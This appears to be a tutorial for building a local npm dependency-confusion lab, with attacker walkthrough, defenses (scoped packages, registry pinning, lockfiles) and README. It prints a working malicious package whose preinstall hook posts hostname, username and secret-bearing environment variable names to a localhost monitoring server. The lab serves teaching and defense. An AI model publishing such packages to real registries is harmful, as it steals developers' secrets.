- Create a package named `acme-auth-utils` at version `99.0.0`.
- Add a `preinstall` script in `package.json` that runs a Node.js file.
- That file should POST system data (hostname, username, env keys) to `http://127.0.0.1:3000/exfil`.
- Publish to `http://localhost:4874` using the attacker credentials.
- Then run `npm install` in `vulnerable-app/` with the public registry as a fallback.
What does this document do?
The scenario section gives just enough context to orient the attacker without revealing the technique. The objectives define concrete capture-the-flag targets so the attacker knows when they have succeeded.
The three-tier hints let users self-regulate difficulty. Tier 1 nudges them toward the right area. Tier 3 is almost a recipe. This structure means the same lab works for experienced pentesters and first-time learners.
- Save the file by pressing Ctrl+O, then Enter, then Ctrl+X to exit nano.
- Verify the file was created by running:
head -5 CHALLENGE.md
You should see the first five lines of your challenge document, starting with the title heading.
File is empty or missing?
Make sure you pressed Ctrl+O to write the file before exiting. If you just pressed Ctrl+X without saving, nano discards your changes. Run nano CHALLENGE.md again and paste the content.
Also confirm you are in the supply-chain-lab directory by running pwd.
Help me troubleshoot my CHALLENGE.md file creation in nano on Kali Linux.
Write the attack walkthrough
The solution document serves two purposes. It validates that your lab is solvable, and it teaches the full kill chain to anyone who gets stuck or wants to study the technique after attempting it.
- Create SOLUTION.md by running:
nano SOLUTION.md
- Paste the following attack walkthrough as the first section of the file:
# Solution: Supply Chain Attack Lab
## Attack Walkthrough
### Phase 1: Reconnaissance
Inspect the target application to discover the internal package name and version constraint.
```bash
cat vulnerable-app/package.json
```
Key findings:
- The app depends on `acme-auth-utils` with version range `^1.0.0`.
- The package name is unscoped (no `@org/` prefix).
- The `.npmrc` points to the private registry at `http://localhost:4873`.
The `^1.0.0` constraint means npm accepts any version `>=1.0.0` and `<2.0.0` from the configured registry. However, if a higher major version appears on a fallback registry, npm may prefer it depending on resolution order.
### Phase 2: Weaponization
Craft a malicious version of `acme-auth-utils` with a preinstall hook that exfiltrates system data.
```bash
cd attacker-workspace
mkdir malicious-package && cd malicious-package
```
Create `package.json`:
```json
{
"name": "acme-auth-utils",
"version": "99.0.0",
"description": "Totally legitimate auth utils",
"main": "index.js",
"scripts": {
"preinstall": "node payload.js"
}
}
```
Create `payload.js`:
```javascript
const http = require("http");
const os = require("os");
const data = JSON.stringify({
hostname: os.hostname(),
username: os.userInfo().username,
platform: os.platform(),
cwd: process.cwd(),
nodeVersion: process.version,
envKeys: Object.keys(process.env).filter(
k => k.includes("KEY") || k.includes("SECRET") || k.includes("TOKEN")
),
timestamp: new Date().toISOString()
});
const options = {
hostname: "127.0.0.1",
port: 3000,
path: "/exfil",
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": Buffer.byteLength(data)
}
};
const req = http.request(options, () => {});
req.on("error", () => {});
req.write(data);
req.end();
```
Create `index.js` (decoy so the app doesn't crash after install):
```javascript
function authenticate(username, password) {
return { success: true, user: username, token: "compromised" };
}
module.exports = { authenticate };
```
### Phase 3: Delivery
Publish the weaponized package to the public registry (port 4874).
```bash
npm publish --registry http://localhost:4874
```
Credentials if prompted: `attacker` / `attacker123`
### Phase 4: Execution
Trigger the dependency confusion in the vulnerable app. Open a new terminal and start the monitoring server first:
```bash
node monitoring-server/server.js
```
Then force the vulnerable app to resolve from the public registry by adding it as a fallback:
```bash
cd vulnerable-app
npm install --registry http://localhost:4874
```
The `preinstall` script fires before any code is installed. The payload POSTs system metadata to the monitoring server.
### Phase 5: Verification
Check the monitoring server terminal. You should see:
```
========================================
DATA EXFILTRATED DURING npm install
========================================
Hostname: <your-kali-hostname>
Username: <your-username>
...
========================================
[FLAG] hostname=<your-kali-hostname>
[FLAG] username=<your-username>
```
You can also query captured data programmatically:
```bash
curl http://127.0.0.1:3000/captured
```
Why structure the walkthrough as a kill chain?
The five phases (reconnaissance, weaponization, delivery, execution, verification) map to the standard cyber kill chain model. This helps the reader understand where each action fits in the broader attack lifecycle, not just what to type.
The payload uses only Node.js built-in modules (http and os). This is critical because the preinstall script runs before dependencies install. External modules would not be available yet.
- Do not save yet. You will add the defender track in the next substep before saving.
Add the defender track to the solution
The defender track transforms your lab from a one-trick exploit into a teaching tool. Learners see both sides: how the attack works and why each defense stops it at a different layer.
- Add the following defender section below the attack walkthrough in SOLUTION.md:
## Defender Track
Three defense strategies that prevent this attack at different layers.
### Defense 1: Scoped Packages
**Why it works:** Scoped packages (`@org/package-name`) create a namespace that cannot be squatted on the public registry by arbitrary users. When you pair a scope with registry pinning, the name resolves exclusively from your private registry.
**Before (vulnerable):**
```json
{
"dependencies": {
"acme-auth-utils": "^1.0.0"
}
}
```
**After (defended):**
```json
{
"dependencies": {
"@acme/auth-utils": "^1.0.0"
}
}
```
The scoped package lives at `defenses/scoped-auth-utils/`. To test:
```bash
cd defenses/defended-app
npm install --registry http://localhost:4873
```
The attack fails because `@acme/auth-utils` on the public registry (port 4874) does not exist. The scope locks resolution to the private registry.
### Defense 2: Registry Pinning via .npmrc
**Why it works:** An `.npmrc` file can bind an entire scope to a specific registry URL. Even if an attacker publishes `@acme/auth-utils` on a public registry, npm will never look there for `@acme` scoped packages.
**Before (vulnerable `.npmrc`):**
```ini
registry=http://localhost:4873
```
**After (defended `.npmrc`):**
```ini
@acme:registry=http://localhost:4873
registry=http://localhost:4874
```
This configuration says: resolve `@acme/*` packages exclusively from port 4873. Everything else can come from port 4874. The attacker cannot override the scope binding.
### Defense 3: Lockfile Integrity with npm ci
**Why it works:** When you commit a `package-lock.json`, it records the exact version, resolved URL, and SHA-512 integrity hash of every dependency. The `npm ci` command refuses to install anything that doesn't match the lockfile exactly.
**How to use:**
1. Install once with the correct registry to generate the lockfile:
```bash
npm install --registry http://localhost:4873
```
2. Commit `package-lock.json` to version control.
3. On all subsequent installs (CI/CD, other developers), use:
```bash
npm ci
```
If an attacker publishes v99.0.0, `npm ci` rejects it because the lockfile pins v1.0.0 with the hash from your private registry. The install fails with an integrity mismatch error.
### Summary Table
| Defense | Layer | Prevents |
|---------|-------|----------|
| Scoped packages | Naming | Name squatting on public registries |
| Registry pinning | Resolution | Fallback to untrusted registries |
| Lockfile integrity | Verification | Installing tampered or unexpected versions |
What does each defense target?
Scoped packages prevent the attack at the naming layer. An attacker cannot claim your scope on the public registry. Registry pinning prevents it at the resolution layer. npm never queries the wrong registry. Lockfile integrity prevents it at the verification layer. Even if resolution somehow fetches the wrong package, the hash mismatch blocks installation.
Defense-in-depth means applying all three. Each layer catches failures that slip past the one above it.
- Save SOLUTION.md by pressing Ctrl+O, then Enter, then Ctrl+X to exit.
- Verify both documents exist by running:
ls *.md
You should see CHALLENGE.md and SOLUTION.md in the output.
- Confirm the defender track is present by running:
grep -c "Defense" SOLUTION.md
You should see a count of 6 or higher, confirming the defense sections are in the file.
Grep returns 0 or file not found?
If the count is 0, you likely saved the file before adding the defender track. Open it again with nano SOLUTION.md and scroll to the bottom. Paste the defender section after the Phase 5 verification content.
If the file is not found, confirm your working directory is supply-chain-lab by running pwd.
Help me troubleshoot why my SOLUTION.md defender track content is missing.
Your lab now has clear documentation for both attackers and defenders. Next up, you will build the actual defense implementations so the defender track has working code to back up the documentation.
Build the Defense Track and Finalize the Repository
You have a working attack chain documented in SOLUTION.md. Now it is time to build the actual defense implementations that prove the attack can be stopped.
In this step, you will create working defense code that a learner can deploy, write the repository README that ties everything together, and run a full end-to-end test to make sure the lab works from clone to completion.
In this step, get ready to:
- Create the scoped package and defended application that block the dependency confusion attack.
- Write the repository README with quickstart instructions, tracks, and real-world context.
- Run a full end-to-end test and commit everything to git.
Create the scoped package defense
Scoped packages are the strongest defense against dependency confusion. When a package name starts with @org/, npm will only resolve it from the registry explicitly associated with that scope. An attacker cannot squat the name on a public registry.
Why scoped packages stop the attack
npm's official guidance states: "We strongly encourage using scoped packages to ensure that a private package isn't being substituted with one from the public registry." Once a scope is associated with a registry, any npm install for a package with that scope will request packages from that registry only.
The attacker cannot register @acme/auth-utils on a public registry because they do not own the @acme scope. The namespace itself becomes the firewall.
- Create the scoped package manifest by running this command:
cat > defenses/scoped-auth-utils/package.json << 'EOF'
{
"name": "@acme/auth-utils",
"version": "1.0.0",
"description": "Internal authentication utilities for Acme Corp (scoped)",
"main": "index.js",
"private": false
}
EOF
- Create the scoped package implementation by running:
cat > defenses/scoped-auth-utils/index.js << 'EOF'
function authenticate(username, password) {
console.log(`[@acme/auth-utils v1.0.0] Authenticating user: ${username}`);
return { success: true, user: username, token: "safe-token-abc123" };
}
module.exports = { authenticate };
EOF
What does this code do?
The scoped package is functionally identical to the original acme-auth-utils. The only difference is the name: @acme/auth-utils instead of acme-auth-utils. This name change is what makes the defense work at the protocol level.
The log message includes the scoped name so you can visually confirm the defended version is running during testing.
- Verify both files exist by running:
ls defenses/scoped-auth-utils/
You should see index.js and package.json listed.
Create the defended application
The defended app combines two layers: it depends on the scoped package name, and its .npmrc pins the @acme scope to the private registry exclusively.
- Create the defended app's package manifest by running:
cat > defenses/defended-app/package.json << 'EOF'
{
"name": "defended-app",
"version": "1.0.0",
"description": "Acme Corp internal build - DEFENDED with scoped packages",
"main": "index.js",
"dependencies": {
"@acme/auth-utils": "^1.0.0"
}
}
EOF
- Create the registry pinning configuration by running:
cat > defenses/defended-app/.npmrc << 'EOF'
@acme:registry=http://localhost:4873
registry=http://localhost:4874
EOF
- Create the defended app's entry point by running:
cat > defenses/defended-app/index.js << 'EOF'
const { authenticate } = require("@acme/auth-utils");
console.log("[*] Acme Corp Build Server - Authentication Service v3.0 (DEFENDED)");
const result = authenticate("deploy-bot", "s3cr3t-pipeline-key");
console.log("[*] Auth result:", result);
console.log("[*] Starting deployment pipeline...");
EOF
What does this configuration do?
The .npmrc file has two lines that work together. The first line (@acme:registry=http://localhost:4873) pins the @acme scope exclusively to the private registry. npm will never look anywhere else for @acme/* packages.
The second line (registry=http://localhost:4874) sets the default registry for everything else. Even if an attacker publishes @acme/auth-utils on port 4874, npm ignores it because the scope pinning takes priority.
- Verify the defended app files exist by running:
ls defenses/defended-app/
You should see index.js, package.json, and .npmrc listed.
Not seeing .npmrc in the listing?
Files starting with a dot are hidden by default. Run ls -a defenses/defended-app/ to show all files including hidden ones. If .npmrc is missing, re-run the cat command above.
help me troubleshoot missing .npmrc files in my defense directory
✔️ Awesome, I've got everything!
Great. Make sure you have saved all the files in both defenses/scoped-auth-utils/ and defenses/defended-app/.
ⓧ I'd like to double check the full code
Here are all five defense files for comparison:
{
"name": "@acme/auth-utils",
"version": "1.0.0",
"description": "Internal authentication utilities for Acme Corp (scoped)",
"main": "index.js",
"private": false
}
function authenticate(username, password) {
console.log(`[@acme/auth-utils v1.0.0] Authenticating user: ${username}`);
return { success: true, user: username, token: "safe-token-abc123" };
}
module.exports = { authenticate };
{
"name": "defended-app",
"version": "1.0.0",
"description": "Acme Corp internal build - DEFENDED with scoped packages",
"main": "index.js",
"dependencies": {
"@acme/auth-utils": "^1.0.0"
}
}
@acme:registry=http://localhost:4873
registry=http://localhost:4874
const { authenticate } = require("@acme/auth-utils");
console.log("[*] Acme Corp Build Server - Authentication Service v3.0 (DEFENDED)");
const result = authenticate("deploy-bot", "s3cr3t-pipeline-key");
console.log("[*] Auth result:", result);
console.log("[*] Starting deployment pipeline...");
Write the repository README
The README is what turns a pile of files into a shareable lab. Anyone who clones this repository needs to know what it teaches, what they need installed, and how to get started.
- Create the README.md by running:
cat > README.md << 'EOF'
# Supply Chain Attack Lab: Dependency Confusion
A hands-on vulnerable lab that teaches dependency confusion attacks and defenses.
Maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain).
## What This Lab Teaches
- How npm resolves packages across multiple registries
- How attackers exploit unscoped package names to inject malicious code
- How preinstall scripts execute arbitrary code during `npm install`
- Three concrete defenses: scoped packages, registry pinning, lockfile integrity
## Prerequisites
- Debian/Kali Linux (tested on Kali rolling)
- Node.js 18+ and npm
- Git
## Quickstart
```bash
git clone <this-repo-url>
cd supply-chain-lab
./setup-lab.sh
```
Once setup completes, read `CHALLENGE.md` to begin the attack.
## Tracks
### Attacker Track
Read `CHALLENGE.md` for the scenario and objectives. Your goal is to
exploit the vulnerable application's dependency resolution and capture
flags from the monitoring server.
### Defender Track
After completing (or reading) the attack, explore `defenses/` to see
how scoped packages, registry pinning, and lockfile integrity each
prevent the attack at different layers.
Full walkthroughs for both tracks are in `SOLUTION.md`.
## Teardown
```bash
./teardown-lab.sh
```
This stops all background processes, removes registry storage, and
cleans up node_modules.
## Real-World Context
- **Birsan 2021**: Alex Birsan disclosed dependency confusion across
Apple, Microsoft, and PayPal, earning $130,000+ in bug bounties.
The technique requires no special access - only knowledge of an
internal package name.
- **TeamPCP/PurpleHaze 2026**: Chained dependency confusion into full
AWS account compromise, infecting 66+ npm packages in a coordinated
campaign (Feb-Mar 2026).
This lab reproduces the core technique in a safe, isolated environment.
## License
For educational use only. Do not use these techniques against systems
you do not own or have explicit permission to test.
EOF
What does this README include?
The README covers six sections: what the lab teaches, prerequisites for running it, quickstart commands, the two tracks (attacker and defender), teardown instructions, and real-world context connecting the lab to actual incidents.
The Real-World Context section references the Birsan 2021 disclosure and the TeamPCP/PurpleHaze 2026 campaign. These are the two landmark dependency confusion incidents that prove this technique is actively exploited at scale.
- Verify the README was created by running:
head -5 README.md
You should see the first five lines including the heading # Supply Chain Attack Lab: Dependency Confusion.
Seeing an empty file or heredoc error?
Make sure you copied the entire cat command including the final EOF on its own line. If the terminal is still waiting for input, type EOF and press Enter to close the heredoc.
help me fix a heredoc that did not close properly
Run the full end-to-end test and commit to git
Before you share this lab, you need to verify the entire workflow works from a fresh state. This means running setup, executing the attack as if you were a new user, confirming the defenses work, tearing everything down, and then committing a clean repository.
- Start the lab environment by running:
./setup-lab.sh
You should see the lab-ready summary showing both registries are up on ports 4873 and 4874.
- Verify the legitimate package is published to the private registry by running:
npm view acme-auth-utils --registry http://localhost:4873
You should see package metadata including the name acme-auth-utils and version 1.0.0.
- Start the monitoring server in the background by running:
node monitoring-server/server.js &
- Simulate the attack. Create a malicious package in the attacker workspace and publish it to the public registry by running:
cd attacker-workspace
mkdir malicious-package && cd malicious-package
cat > package.json << 'EOF'
{
"name": "acme-auth-utils",
"version": "99.0.0",
"description": "Malicious package for testing",
"scripts": {
"preinstall": "node payload.js"
}
}
EOF
cat > payload.js << 'EOF'
const http = require("http");
const os = require("os");
const data = JSON.stringify({
hostname: os.hostname(),
username: os.userInfo().username,
platform: os.platform(),
cwd: process.cwd(),
nodeVersion: process.version,
envKeys: Object.keys(process.env).filter(k => k.includes("KEY") || k.includes("SECRET") || k.includes("TOKEN")),
timestamp: new Date().toISOString(),
channel: "http"
});
const req = http.request({ hostname: "127.0.0.1", port: 3000, path: "/exfil", method: "POST", headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } }, () => {});
req.on("error", () => {});
req.write(data);
req.end();
EOF
npm publish --registry http://localhost:4874 2>/dev/null
cd ../..
What is happening here?
You are simulating the attacker's workflow: creating a package with the same name (acme-auth-utils) but version 99.0.0. The preinstall script runs automatically during npm install and exfiltrates system data to the monitoring server.
Publishing to port 4874 (the "public" registry) completes the delivery phase of the kill chain.
- Trigger the attack by installing dependencies in the vulnerable app:
cd vulnerable-app
npm install --registry http://localhost:4874 2>/dev/null
cd ..
Check the terminal where the monitoring server is running. You should see the red exfiltration banner with captured hostname, username, and environment data.
- Now verify the defense works. Publish the scoped package to the private registry and install from the defended app:
cd defenses/scoped-auth-utils
npm publish --registry http://localhost:4873 2>/dev/null
cd ../defended-app
npm install 2>/dev/null
node index.js
cd ../..
You should see the output [@acme/auth-utils v1.0.0] Authenticating user: deploy-bot. The defended app resolved @acme/auth-utils from the private registry only. The malicious package on port 4874 was never consulted.
Why did the defense succeed?
The .npmrc line @acme:registry=http://localhost:4873 told npm to resolve anything under @acme/ exclusively from port 4873. Even though port 4874 is set as the default registry, scoped resolution takes priority. The attacker would need to compromise the private registry itself to succeed.
- Tear down the lab environment by running:
./teardown-lab.sh
You should see confirmation messages that Verdaccio instances, the monitoring server, and storage files are all cleaned up.
- Commit everything to git by running:
git add -A
git commit -m "Complete supply chain attack lab with defenses"
You should see a commit summary listing all the files in your repository.
Git asking for identity configuration?
If git asks you to set your email and name, run these two commands first (replacing the placeholder values with your own):
git config user.email "you@example.com"
git config user.name "Your Name"
Then re-run the git add -A && git commit commands.
help me configure git for my first commit in this lab repository
Your supply chain attack lab is complete. The repository is ready to share. Anyone can clone it, run ./setup-lab.sh, and have a live environment to practice both the attack and the defenses.
Secret mission
DNS Exfiltration and Registry-Level Defenses
Your HTTP-based exfiltration is effective, but security teams monitor outbound HTTP traffic. Real APT groups use DNS as a covert channel because port 53 is almost never blocked. Add a DNS exfiltration payload to the lab and configure Verdaccio's Package Filter plugin as a registry-level quarantine defense.
Clean Up Your Resources
Clean Up Your Resources
This project runs entirely on your local Kali Linux machine, so there are no ongoing cloud costs. Decide whether to keep your resources running, pause them to come back later, or delete them entirely.
Resources you used:
- Running processes (Verdaccio on ports 4873/4874, monitoring server on port 3000).
- supply-chain-lab/ project directory on your Desktop.
- Verdaccio (globally installed npm package).
- Node.js and npm (system packages installed via apt).
Keep everything running
No action needed. Choose this if you're still actively building or plan to share the lab with someone right now.
- The lab stays ready. Run ./setup-lab.sh any time to start the registries again.
- If you left Verdaccio running, the processes continue using memory in the background.
- Node.js, npm, and Verdaccio remain installed on your system for future projects.
Pause - I'll come back to this later
Shut down running processes to free up memory while keeping all your project files intact.
- Navigate to your lab directory and run the teardown script:
cd ~/Desktop/supply-chain-lab
./teardown-lab.sh
- This stops Verdaccio instances, the monitoring server, and cleans up generated storage files.
- Your source code, scripts, documentation, and git history all remain untouched.
- To resume later, run ./setup-lab.sh to spin the lab back up.
Delete - I don't want to use this again
Remove all project resources and start fresh. Follow these steps to fully clean up.
- Run the teardown script to stop all running processes:
cd ~/Desktop/supply-chain-lab
./teardown-lab.sh
- Delete the entire project directory:
cd ~/Desktop
rm -rf supply-chain-lab
- Uninstall Verdaccio from your system:
sudo npm uninstall -g verdaccio
- Optionally, remove Node.js and npm if you don't need them for other projects:
sudo apt remove -y nodejs npm
- Confirm Verdaccio is gone by running verdaccio --version. You should see command not found.
- Confirm the project directory is gone by running ls ~/Desktop/supply-chain-lab. You should see No such file or directory.
Nice Work!
Nice Work!
You just built a shareable supply chain attack lab from scratch. Anyone can clone your repository, run one command, and have a live vulnerable environment to exploit and defend.
You've learned how to:
- Build a self-contained vulnerable lab that provisions two Verdaccio registries, publishes a legitimate package, and sets up a monitoring server with a single shell script.
- Design the full dependency confusion kill chain from reconnaissance through weaponization, delivery, and execution, mapped to MITRE ATT&CK T1195.002.
- Implement three defense layers with working code: scoped packages, registry pinning via .npmrc, and lockfile integrity with npm ci.
- Added DNS exfiltration as an advanced attack channel that bypasses HTTP monitoring, and configured Verdaccio Package Filter as a registry-level quarantine defense.
Ready to quiz yourself?